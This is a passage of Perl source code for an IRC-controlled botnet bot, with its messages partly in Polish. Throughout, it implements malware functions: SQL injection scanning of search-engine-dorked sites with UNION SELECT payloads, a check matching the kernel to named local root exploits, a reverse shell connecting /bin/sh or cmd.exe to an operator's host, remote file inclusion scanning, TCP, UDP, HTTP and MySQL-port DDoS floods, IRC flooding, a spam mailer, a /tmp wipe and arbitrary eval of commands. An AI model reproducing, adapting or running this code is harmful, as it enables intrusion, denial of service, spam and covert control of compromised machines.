  611. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 AllTheWeb 7[".scalar(@allist)."7] Sites");
  612. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Ask.com 7[".scalar(@asklist)."7] Sites");
  613. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 AOL 7[".scalar(@aollist)."7] Sites");
  614. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Lycos 7[".scalar(@lycos)."7] Sites");
  615. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Yahoo! 7[".scalar(@ylist)."7] Sites");
  616. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 MozBot 7[".scalar(@mzlist)."7] Sites");
  617. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Mama 7[".scalar(@mamalist)."7] Sites");
  618. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 HotBot 7[".scalar(@hlist)."7] Sites");
  619. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Altavista 7[".scalar(@altlist)."7] Sites");
  620. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Search[dot]com 7[".scalar(@slist)."7] Sites");
  621. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 UoL 7[".scalar(@ulist)."7] Sites");
  622. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 FireBall 7[".scalar(@flist)."7] Sites");
  623.  
  624. push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );
  625.  
  626. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Filtruje4 ][ ".scalar(@tot)." 12Stron4 ] ");
  627. my @puliti=&unici(@tot);
  628.  
  629. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ SQL ] [ 12$dork4 ][ ".scalar(@puliti)." 12Stron4 ] ");
  630.  
  631. my $uni=scalar(@puliti);
  632.  
  633. foreach my $sito (@puliti) {
  634.  
  635. $contatore++;
  636. if ($contatore %5==0){
  637. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Skanuje4 ][ ".$contatore." 12z4 ".$uni. " 12Stron4 ] ");
  638. }
  639. sleep 3;
  640. if ($contatore==$uni-1){
  641. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Koniec:4 $bug $dork ] ");
  642. }
  643. sleep 3;
  644. my $site="http://".$sito.$bug;
  645. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Sprawdzam: 4$site 12cols: 4 $columns ] ");
  646.  
  647. $w=int rand(999);
  648. $w=$w*1000;
  649. for($i=1;$i<=$columns;$i++) {
  650. splice(@col,0,$#col+1);
  651. for($j=1;$j<=$i;$j++) {
  652. push(@col,$w+$j);
  653. }
  654. $tmp=join(",",@col);
  655. $test=$site."-1+UNION+SELECT+".$tmp."/*";
  656. print $test."\n";
  657. $result=get_html($test);
  658. $result =~ s/\/\*\*\///g;
  659. $result =~ s/UNION([^(\*)]*)//g;
  660. for($k=1;$k<=$i;$k++) {
  661. $n=$w+$k;
  662. if($result =~ /$n/){
  663. splice(@col2,0,$#col2+1);
  664. for($s=1;$s<=$i;$s++) {
  665. push(@col2,$s);
  666. }
  667. $tmp2=join(",",@col2);
  668. $test2="+UNION+SELECT+".$tmp2."/*";
  669. push @{$dane{$test2}},$k;
  670. }
  671. }
  672. }
  673. for $klucz (keys %dane) {
  674. foreach $i(@{$dane{$klucz}}) {
  675. $klucz =~ s/$i/$i/;
  676. }
  677. sendraw($IRC_cur_socket, "PRIVMSG $printl :13,1 [ vuln ] 9,1 [ ".$site."-1".$klucz." ]  ");
  678. }
  679. %dane=();
  680. }
  681. }
  682. delproc($$);
  683. exit;
  684. }
  685. }
  686. ####### SQL SCANNER #########
  687.  
  688. if ($funcarg =~ /^autoscan\s+(.*)\s+http\:\/\/(.*?)\/(.*?)\s+(\d+)/){
  689. if (my $pid = fork) {
  690. waitpid($pid, 0);
  691. } else {
  692. if (my $d=fork()) {
  693. addproc($d,"[String] $2");
  694. exit;
  695. } else {
  696. $kto = $1;
  697. $host = $2;
  698. $skrypt = $3;
  699. $czekac=$4;
  700.  
  701. #http://ttl.ugu.pl/string/index.php
  702. my $socke = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>"80",Proto=>"tcp") or return;
  703. print $socke "GET /$skrypt HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  704.  
  705. my @r = <$socke>;
  706. $page="@r";
  707.  
  708. $page =~ s/!scan(\s+)//g;
  709. $page =~ s/!scan(.)//g;
  710. $page =~ s/\<.*\>//g;
  711.  
  712. @lines = split (/\n/, $page);
  713. $ile=scalar(@lines);
  714.  
  715.  
  716. for($i=9;$i<=$ile;$i+=4) {
  717.  
  718. for($j=0;$j<4;$j++) {
  719. #print $lines[$i+$j]."\n";
  720.  
  721. sendraw($IRC_cur_socket, "PRIVMSG $printl :$kto $lines[$i+$j]");
  722.  
  723. sleep 10;
  724. }
  725.  
  726. sleep $czekac*60;
  727. }
  728.  
  729. }
  730. delproc($$);
  731. exit;
  732. }
  733. }
  734.  
  735.  
  736.  
  737.  
  738.  
  739. ####### SQL SCANNER #########
  740.  
  741. if ($funcarg =~ /^sql\s+(.*)\s+(\d+)/){
  742. if (my $pid = fork()) {
  743. waitpid($pid, 0);
  744. } else {
  745. if (my $d=fork()) {
  746. addproc($d,"[SQL1] $1 $2");
  747. exit;
  748. } else {
  749. my $site=$1;
  750. my $columns=$2;
  751. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Sprawdzam: 4$site 12cols: 4 $columns ] ");
  752.  
  753. $w=int rand(999);
  754. $w=$w*1000;
  755. for($i=1;$i<=$columns;$i++) {
  756. splice(@col,0,$#col+1);
  757. for($j=1;$j<=$i;$j++) {
  758. push(@col,$w+$j);
  759. }
  760. $tmp=join(",",@col);
  761. $test=$site.$bug."-1+UNION+SELECT+".$tmp."/*";
  762. #$result=query($test);
  763. $result=get_html($test);
  764.  
  765. $result =~ s/\/\*\*\///g;
  766. $result =~ s/UNION([^(\*)]*)//g;
  767. for($k=1;$k<=$i;$k++) {
  768. $n=$w+$k;
  769. if($result =~ /$n/){
  770. splice(@col2,0,$#col2+1);
  771. for($s=1;$s<=$i;$s++) {
  772. push(@col2,$s);
  773. }
  774. $tmp2=join(",",@col2);
  775. $test2="+UNION+SELECT+".$tmp2."/*";
  776. push @{$dane{$test2}},$k;
  777. }
  778. }
  779. }
  780. for $klucz (keys %dane) {
  781. foreach $i(@{$dane{$klucz}}) {
  782. $klucz =~ s/$i/$i/;
  783. }
  784. sendraw($IRC_cur_socket, "PRIVMSG $printl :13,1 [ vuln ] 9,1 [ ".$site.$bug."-1".$klucz." ]  ");
  785. }
  786. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Koniec 4 ] ");
  787. }
  788. delproc($$);
  789. exit;
  790. }
  791. }
  792. ####### SQL SCANNER #########
  793. ######################
  794. # Rootable #
  795. ######################
  796. if ($funcarg =~ /^rootable/) {
  797. my $khost = `uname -r`;
  798. my $currentid = `whoami`;
  799. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] Currently you are ".$currentid." ");
  800. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] The kernel of this box is ".$khost." ");
  801. chomp($khost);
  802.  
  803. my %h;
  804. $h{'w00t'} = {
  805. vuln=>['2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4.16','2.4.20']
  806. };
  807.  
  808. $h{'brk'} = {
  809. vuln=>['2.4.22','2.4.21','2.4.10','2.4.20']
  810. };
  811.  
  812. $h{'ave'} = {
  813. vuln=>['2.4.19','2.4.20']
  814. };
  815.  
  816. $h{'elflbl'} = {
  817. vuln=>['2.4.29']
  818. };
  819.  
  820. $h{'elfdump'} = {
  821. vuln=>['2.4.27']
  822. };
  823.  
  824. $h{'expand_stack'} = {
  825. vuln=>['2.4.29']
  826. };
  827.  
  828. $h{'h00lyshit'} = {
  829. vuln=>['2.6.8','2.6.10','2.6.11','2.6.9','2.6.7','2.6.13','2.6.14','2.6.15','2.6.16','2.6.2']
  830. };
  831.  
  832. $h{'kdump'} = {
  833. vuln=>['2.6.13']
  834. };
  835.  
  836. $h{'km2'} = {
  837. vuln=>['2.4.18','2.4.22']
  838. };
  839.  
  840. $h{'krad'} = {
  841. vuln=>['2.6.11']
  842. };
  843.  
  844. $h{'krad3'} = {
  845. vuln=>['2.6.11','2.6.9']
  846. };
  847.  
  848. $h{'local26'} = {
  849. vuln=>['2.6.13']
  850. };
  851.  
  852. $h{'loko'} = {
  853. vuln=>['2.4.22','2.4.23','2.4.24']
  854. };
  855.  
  856. $h{'mremap_pte'} = {
  857. vuln=>['2.4.20','2.2.25','2.4.24']
  858. };
  859.  
  860. $h{'newlocal'} = {
  861. vuln=>['2.4.17','2.4.19','2.4.18']
  862. };
  863.  
  864. $h{'ong_bak'} = {
  865. vuln=>['2.4.','2.6.']
  866. };
  867.  
  868. $h{'ptrace'} = {
  869. vuln=>['2.2.','2.4.22']
  870. };
  871.  
  872. $h{'ptrace_kmod'} = {
  873. vuln=>['2.4.2']
  874. };
  875.  
  876. $h{'ptrace24'} = {
  877. vuln=>['2.4.9']
  878. };
  879.  
  880. $h{'pwned'} = {
  881. vuln=>['2.4.','2.6.']
  882. };
  883.  
  884. $h{'py2'} = {
  885. vuln=>['2.6.9','2.6.17','2.6.15','2.6.13']
  886. };
  887.  
  888. $h{'raptor_prctl'} = {
  889. vuln=>['2.6.13','2.6.17','2.6.16','2.6.13']
  890. };
  891.  
  892. $h{'prctl3'} = {
  893. vuln=>['2.6.13','2.6.17','2.6.9']
  894. };
  895.  
  896. $h{'remap'} = {
  897. vuln=>['2.4.']
  898. };
  899.  
  900. $h{'rip'} = {
  901. vuln=>['2.2.']
  902. };
  903.  
  904. $h{'stackgrow2'} = {
  905. vuln=>['2.4.29','2.6.10']
  906. };
  907.  
  908. $h{'uselib24'} = {
  909. vuln=>['2.4.29','2.6.10','2.4.22','2.4.25']
  910. };
  911.  
  912. $h{'newsmp'} = {
  913. vuln=>['2.6.']
  914. };
  915.  
  916. $h{'smpracer'} = {
  917. vuln=>['2.4.29']
  918. };
  919.  
  920. $h{'loginx'} = {
  921. vuln=>['2.4.22']
  922. };
  923.  
  924. $h{'exp.sh'} = {
  925. vuln=>['2.6.9','2.6.10','2.6.16','2.6.13']
  926. };
  927.  
  928. $h{'prctl'} = {
  929. vuln=>['2.6.']
  930. };
  931.  
  932. $h{'kmdx'} = {
  933. vuln=>['2.6.','2.4.']
  934. };
  935.  
  936. $h{'raptor'} = {
  937. vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']
  938. };
  939.  
  940. $h{'raptor2'} = {
  941. vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']
  942. };
  943.  
  944. foreach my $key(keys %h){
  945. foreach my $kernel ( @{ $h{$key}{'vuln'} } ){
  946. if($khost=~/^$kernel/){
  947. chop($kernel) if ($kernel=~/.$/);
  948. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] Possible Local Root Exploits: ". $key ." ");
  949. }
  950. }
  951. }
  952. }
  953. ######################
  954. # MAILER #
  955. ######################
  956. if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  957. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Mailer12] Mailer :. | Sending Mail to : 2 $3");
  958. $subject = $1;
  959. $sender = $2;
  960. $recipient = $3;
  961. @corpo = $4;
  962. $mailtype = "content-type: text/html";
  963. $sendmail = '/usr/sbin/sendmail';
  964. open (SENDMAIL, "| $sendmail -t");
  965. print SENDMAIL "$mailtype\n";
  966. print SENDMAIL "Subject: $subject\n";
  967. print SENDMAIL "From: $sender\n";
  968. print SENDMAIL "To: $recipient\n\n";
  969. print SENDMAIL "@corpo\n\n";
  970. close (SENDMAIL);
  971. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Mailer12] Mailer :. | Mail Sent To : 2 $recipient");
  972. }
  973. ######################
  974. # End of MAILER #
  975. ######################
  976. # A /tmp cleaner
  977. if ($funcarg =~ /^cleartmp/) {
  978. system 'cd /tmp;rm -rf *';
  979. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TMPCleaner12] /tmp is Cleaned");
  980. }
  981. #-#-#-#-#-#-#-#-#
  982. # Flooders IRC #
  983. #-#-#-#-#-#-#-#-#
  984. # msg, @msgflood <who>
  985. if ($funcarg =~ /^msgflood (.+?) (.*)/) {
  986. for($i=0; $i<=10; $i+=1){
  987. sendraw($IRC_cur_socket, "PRIVMSG ".$1." ".$2);
  988. }
  989. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3MSGFlood12]14 Excecuted on ".$1." ");
  990. }
  991.  
  992. # dccflood, @dccflood <who>
  993. if ($funcarg =~ /^dccflood (.*)/) {
  994. for($i=0; $i<=10; $i+=1){
  995. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001DCC CHAT chat 1121485131 1024\001\n");
  996. }
  997. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3DCCFlood12]14 Excecuted on ".$1." ");
  998. }
  999. # ctcpflood, @ctcpflood <who>
  1000. if ($funcarg =~ /^ctcpflood (.*)/) {
  1001. for($i=0; $i<=10; $i+=1){
  1002. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");
  1003. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");
  1004. }
  1005. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3CTCPFlood12]14 Excecuted on ".$1." ");
  1006. }
  1007. # noticeflood, @noticeflood <who>
  1008. if ($funcarg =~ /^noticeflood (.*)/) {
  1009. for($i=0; $i<=10; $i+=1){
  1010. sendraw($IRC_cur_socket, "NOTICE ".$1." :w3tFL00D\n");
  1011. }
  1012. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3NoticeFlood12]14 Excecuted on ".$1." ");
  1013. }
  1014. # Channel Flood, @channelflood
  1015. if ($funcarg =~ /^channelflood/) {
  1016. for($i=0; $i<=25; $i+=1){
  1017. sendraw($IRC_cur_socket, "JOIN #".(int(rand(99999))) );
  1018. }
  1019. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3ChannelFlood12]14 Excecuted ");
  1020. }
  1021. # Maxi Flood, @maxiflood
  1022. if ($funcarg =~ /^maxiflood(.*)/) {
  1023. for($i=0; $i<=15; $i+=1){
  1024. sendraw($IRC_cur_socket, "NOTICE ".$1." :w3tFl00D\n");
  1025. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");
  1026. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");
  1027. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :w3tFl00D\n");
  1028. }
  1029. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3M4Xi-Fl00d12]14 Excecuted on ".$1." ");
  1030. }
  1031. ######################
  1032. # irc #
  1033. ######################
  1034. if ($funcarg =~ /^reset/) {
  1035. sendraw($IRC_cur_socket, "QUIT :");
  1036. }
  1037. if ($funcarg =~ /^join (.*)/) {
  1038. sendraw($IRC_cur_socket, "JOIN ".$1);
  1039. }
  1040. if ($funcarg =~ /^part (.*)/) {
  1041. sendraw($IRC_cur_socket, "PART ".$1);
  1042. }
  1043. if ($funcarg =~ /^voice (.*)/) {
  1044. sendraw($IRC_cur_socket, "MODE $printl +v ".$1);
  1045. }
  1046. if ($funcarg =~ /^devoice (.*)/) {
  1047. sendraw($IRC_cur_socket, "MODE $printl -v ".$1);
  1048. }
  1049. if ($funcarg =~ /^halfop (.*)/) {
  1050. sendraw($IRC_cur_socket, "MODE $printl +h ".$1);
  1051. }
  1052. if ($funcarg =~ /^dehalfop (.*)/) {
  1053. sendraw($IRC_cur_socket, "MODE $printl -h ".$1);
  1054. }
  1055. if ($funcarg =~ /^owner (.*)/) {
  1056. sendraw($IRC_cur_socket, "MODE $printl +q ".$1);
  1057. }
  1058. if ($funcarg =~ /^deowner (.*)/) {
  1059. sendraw($IRC_cur_socket, "MODE $printl -q ".$1);
  1060. }
  1061. if ($funcarg =~ /^op (.*)/) {
  1062. sendraw($IRC_cur_socket, "MODE $printl +o ".$1);
  1063. }
  1064. if ($funcarg =~ /^deop (.*)/) {
  1065. sendraw($IRC_cur_socket, "MODE $printl -o ".$1);
  1066. }
  1067. ######################
  1068. #End of Join And Part#
  1069. ######################
  1070. ######################
  1071. # TCPFlood #
  1072. ######################
  1073.  
  1074. if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  1075. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TCP-DDOS12] Attacking 4 ".$1.":".$2." 12for 4 ".$3." 12seconds.");
  1076. my $itime = time;
  1077. my ($cur_time);
  1078. $cur_time = time - $itime;
  1079. while ($3>$cur_time){
  1080. $cur_time = time - $itime;
  1081. &tcpflooder("$1","$2","$3");
  1082. }
  1083. sendraw($IRC_cur_socket,"PRIVMSG $printl :12[4@3TCP-DDOS12] Attack done 4 ".$1.":".$2.".");
  1084. }
  1085. ######################
  1086. # End of TCPFlood #
  1087. ######################
  1088. ######################
  1089. # SQL Fl00dEr #
  1090. ######################
  1091. if ($funcarg =~ /^sqlflood\s+(.*)\s+(\d+)/) {
  1092. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-DDOS12] Attacking 4 ".$1." 12 on port 3306 for 4 ".$2." 12 seconds .");
  1093. my $itime = time;
  1094. my ($cur_time);
  1095. $cur_time = time - $itime;
  1096. while ($2>$cur_time){
  1097. $cur_time = time - $itime;
  1098. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>3306);
  1099. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1100. close($socket);
  1101. }
  1102. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-DDOS12] Attacking done 4 ".$1.".");
  1103. }
  1104. ######################
  1105. # Back Connect #
  1106.  
  1107. ######################
  1108. if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  1109. my $host = "$1";
  1110. my $porta = "$2";
  1111. my $proto = getprotobyname('tcp');
  1112. my $iaddr = inet_aton($host);
  1113. my $paddr = sockaddr_in($porta, $iaddr);
  1114. my $shell = "/bin/sh -i";
  1115. if ($^O eq "MSWin32") {
  1116. $shell = "cmd.exe";
  1117. }
  1118. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  1119. connect(SOCKET, $paddr) or die "connect: $!";
  1120. open(STDIN, ">&SOCKET");
  1121. open(STDOUT, ">&SOCKET");
  1122. open(STDERR, ">&SOCKET");
  1123. system("$shell");
  1124. close(STDIN);
  1125. close(STDOUT);
  1126. close(STDERR);
  1127. if ($estatisticas){
  1128. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Back-Connect12] Connecting to 4 $host:$porta");
  1129. }
  1130. }
  1131. ######################
  1132. #End of Back Connect#
  1133. ######################
  1134. ######################
  1135. # MULTI SCANNER #
  1136. ######################
  1137. if ($funcarg =~ /^multiscan\s+(.*?)\s+(.*)/){
  1138. if (my $pid = fork) {
  1139. waitpid($pid, 0);
  1140. } else {
  1141. if (fork) {
  1142. exit;
  1143. } else {
  1144. my $bug=$1;
  1145. my $dork=$2;
  1146. my $contatore=0;
  1147. my ($type,$space);
  1148. my %hosts;
  1149. ### Start Message
  1150. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Multi-Scan12] Starting Scan for 4$bug $dork");
  1151. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Multi-Scan12] Initializing on 45 12Search Engines ");
  1152. ### End of Start Message
  1153. # Starting Google
  1154. my @glist=&google($dork);
  1155. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  1156. my @mlist=&msn($dork);
  1157. my @asklist=&ask($dork);
  1158. my @allist=&alltheweb($dork);
  1159. my @aollist=&aol($dork);
  1160. my @lycos=&lycos($dork);
  1161. my @ylist=&yahoo($dork);
  1162. my @mzlist=&mozbot($dork);
  1163. my @mamalist&mamma($dork);
  1164. my @hlist=&hotbot($dork);
  1165. my @altlist=&altavista($dork);
  1166. my @slist=&search($dork);
  1167. my @ulist=&uol($dork);
  1168. my @fireball=&fireball($dork);
  1169. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  1170. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 MSN 7[".scalar(@mlist)."7] Sites");
  1171. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 AllTheWeb 7[".scalar(@allist)."7] Sites");
  1172. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Ask.com 7[".scalar(@asklist)."7] Sites");
  1173. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 AOL 7[".scalar(@aollist)."7] Sites");
  1174. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Lycos 7[".scalar(@lycos)."7] Sites");
  1175. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Yahoo! 7[".scalar(@ylist)."7] Sites");
  1176. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 MozBot 7[".scalar(@mzlist)."7] Sites");
  1177. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Mama 7[".scalar(@mamalist)."7] Sites");
  1178. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 HotBot 7[".scalar(@hlist)."7] Sites");
  1179. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Altavista 7[".scalar(@altlist)."7] Sites");
  1180. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Search[dot]com 7[".scalar(@slist)."7] Sites");
  1181. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 UoL 7[".scalar(@ulist)."7] Sites");
  1182. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 FireBall 7[".scalar(@flist)."7] Sites");
  1183. #
  1184. push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );
  1185. my @puliti=&unici(@tot);
  1186. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Results: Total:7[".scalar(@tot)."7] Sites and Cleaned: 7[".scalar(@puliti)."7] for $dork ");
  1187. my $uni=scalar(@puliti);
  1188. foreach my $sito (@puliti)
  1189. {
  1190. $contatore++;
  1191. if ($contatore %100==0){
  1192. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Exploiting 7[".$contatore."7] of 7[".$uni. "7] Sites");
  1193. }
  1194. if ($contatore==$uni-1){
  1195. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Finished for $dork");
  1196. }
  1197. ### Print CMD and TEST CMD###
  1198. my $test="http://".$sito.$bug.$id."?";
  1199. my $print="http://".$sito.$bug.$cmd."?";
  1200. ### End of Print CMD and TEST CMD###
  1201. my $req=HTTP::Request->new(GET=>$test);
  1202. my $ua=LWP::UserAgent->new();
  1203. $ua->timeout(4);
  1204. my $response=$ua->request($req);
  1205. if ($response->is_success) {
  1206. my $re=$response->content;
  1207. if($re =~ /Mic22/ && $re =~ /uid=/){
  1208. my $hs=geths($print); $hosts{$hs}++;
  1209. if($hosts{$hs}=="1"){
  1210. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Safe Mode = OFF :. | Vuln: $print ");
  1211. }}
  1212. elsif($re =~ /Mic22/)
  1213. {
  1214. my $hs=geths($print); $hosts{$hs}++;
  1215. if($hosts{$hs}=="1"){
  1216. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Safe Mode = ON :. | Vuln: $print ");
  1217. }}
  1218. }}}
  1219. exit;
  1220. }}}
  1221. ######################
  1222. #End of MultiSCANNER #
  1223. ######################
  1224. ######################
  1225. # HTTPFlood #
  1226. ######################
  1227. if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  1228. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3HTTP DDoS12:.4|12 Attacking 4 ".$1." 12 on port 80 for 4 ".$2." 12 seconds .");
  1229. my $itime = time;
  1230. my ($cur_time);
  1231. $cur_time = time - $itime;
  1232. while ($2>$cur_time){
  1233. $cur_time = time - $itime;
  1234. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  1235. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1236. close($socket);
  1237. }
  1238. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3HTTP DDoS12:.4|12 Attacking done 4 ".$1.".");
  1239. }
  1240. ######################
  1241. # End of HTTPFlood #
  1242. ######################
  1243. ######################
  1244. # UDPFlood #
  1245. ######################
  1246. if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  1247. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3UDP DDoS12:.4|12 Attacking 4 ".$1." 12 with 4 ".$2." 12 Kb Packets for 4 ".$3." 12 seconds.");
  1248. my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  1249. $dtime = 1 if $dtime == 0;
  1250. my %bytes;
  1251. $bytes{igmp} = $2 * $pacotes{igmp};
  1252. $bytes{icmp} = $2 * $pacotes{icmp};
  1253. $bytes{o} = $2 * $pacotes{o};
  1254. $bytes{udp} = $2 * $pacotes{udp};
  1255. $bytes{tcp} = $2 * $pacotes{tcp};
  1256. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3UDP-DDos12]12 12Results4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12Kb in4 ".$dtime." 12seconds to4 ".$1.".");
  1257. }
  1258. ######################
  1259. # End of Udpflood #
  1260. ######################
  1261. exit;
  1262. }
  1263. }
  1264.  
  1265. sub ircase {
  1266. my ($kem, $printl, $case) = @_;
  1267. if ($case =~ /^join (.*)/) {
  1268. j("$1");
  1269. }
  1270. if ($case =~ /^part (.*)/) {
  1271. p("$1");
  1272. }
  1273. if ($case =~ /^rejoin\s+(.*)/) {
  1274. my $chan = $1;
  1275. if ($chan =~ /^(\d+) (.*)/) {
  1276. for (my $ca = 1; $ca <= $1; $ca++ ) {
  1277. p("$2");
  1278. j("$2");
  1279. }
  1280. } else {
  1281. p("$chan");
  1282. j("$chan");
  1283. }
  1284. }
  1285.  
  1286. if ($case =~ /^op/) {
  1287. op("$printl", "$kem") if $case eq "op";
  1288. my $oarg = substr($case, 3);
  1289. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1290. }
  1291.  
  1292. if ($case =~ /^deop/) {
  1293. deop("$printl", "$kem") if $case eq "deop";
  1294. my $oarg = substr($case, 5);
  1295. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1296. }
  1297.  
  1298. if ($case =~ /^msg\s+(\S+) (.*)/) {
  1299. msg("$1", "$2");
  1300. }
  1301.  
  1302. if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  1303. for (my $cf = 1; $cf <= $1; $cf++) {
  1304. msg("$2", "$3");
  1305. }
  1306. }
  1307.  
  1308. if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  1309. ctcp("$1", "$2");
  1310. }
  1311.  
  1312. if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  1313. for (my $cf = 1; $cf <= $1; $cf++) {
  1314. ctcp("$2", "$3");
  1315. }
  1316. }
  1317.  
  1318. if ($case =~ /^nick (.*)/) {
  1319. nick("$1");
  1320. }
  1321.  
  1322. if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  1323. conectar("$2", "$1", 6667);
  1324. }
  1325.  
  1326. if ($case =~ /^raw (.*)/) {
  1327. sendraw("$1");
  1328. }
  1329.  
  1330. if ($case =~ /^eval (.*)/) {
  1331. eval "$1";
  1332. }
  1333. }
  1334.  
  1335. sub get_html() {
  1336. $test=$_[0];
  1337.  
  1338. $ip=$_[1];
  1339. $port=$_[2];
  1340.  
  1341. my $req=HTTP::Request->new(GET=>$test);
  1342. my $ua=LWP::UserAgent->new();
  1343. if(defined($ip) && defined($port)) {
  1344. $ua->proxy("http","http://$ip:$port/");
  1345. $ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
  1346. }
  1347. $ua->timeout(1);
